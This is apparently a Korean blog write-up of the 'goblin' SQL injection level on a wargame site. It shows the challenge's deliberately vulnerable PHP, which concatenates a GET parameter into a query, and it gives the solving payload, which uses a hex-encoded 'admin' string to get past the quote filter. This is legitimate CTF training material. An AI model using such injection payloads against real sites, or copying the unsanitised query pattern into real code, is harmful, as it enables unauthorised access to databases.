반응형

https://los.rubiya.kr

 

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>
cs

if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 

no에 따옴표가 필터링 된다.

 

 

if($result['id'== 'admin') solve("goblin");

id가 admin이어야 한다.

 

 

 

no=1는 guest가 나온다.

query : select id from prob_goblin where id='guest' and no=1


 

Hello guest

 

 

no에 다른 값을 넣어주어 guest가 나오지 못하도록 한다음 or id = 'admin'을 붙여주면 된다.

 

그러나 '을 필터링하기 때문에 admin이라는 문자열을 hex값으로 바꿔서 넣어주면 된다.

 

no=0 or id = 0x61646d696e

 

 

 

 

반응형

+ Recent posts